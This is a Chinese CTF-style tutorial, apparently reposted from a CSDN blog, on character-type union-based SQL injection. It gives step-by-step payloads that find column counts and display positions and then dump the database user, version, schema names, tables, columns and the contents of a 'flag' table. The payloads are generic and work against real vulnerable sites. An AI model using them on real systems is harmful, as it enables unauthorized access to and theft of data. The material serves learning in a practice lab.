1.判断注入类型
按照题目要求,输入1发现有两个引号,说明是字符型注入(这是根据题目要求知道的注入类型,后面要学习判断的方法)。是字符型输入也就说明我们输入的值应该被引号包围,才能被执行
输入1 '#
2.判断数据库有几列
1' order by 1 , 2 #(这里只有两列,后面可以继续增加判断,如1' order by 1 , 2,3 #)
3.判断注入点(显示位,判断显示的信息是第几列的信息)
一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过-1’直接闭合前面的select语句,使其前半句查询结果空(除非存在id=-1的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。
1为ID
2为Data
(Data也就是我们想要查询的数据)
————————————————
版权声明:本文为CSDN博主「小小大空翼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_64444909/article/details/124475643
4.查询数据库信息
查询用户
-1' union select 1 , user() #(根据查资料,用户为root,可以访问information_schema数据库)
查询数据库版本
-1' union select 1 , version() #
查询数据库名称
-1' union select 1 , database() #
5.查询所有数据库名(爆库)
查询所有数据库名
-1' union select 1,group_concat(schema_name) from information_schema.schemata #
6.查询所有表名(爆表)
-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #
7.查询指定数据库中指定表的字段名(爆字段名)
-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#
8.查询指定数据库中指定表的字段名的内容
-1' union select 1 , group_concat(flag) from flag #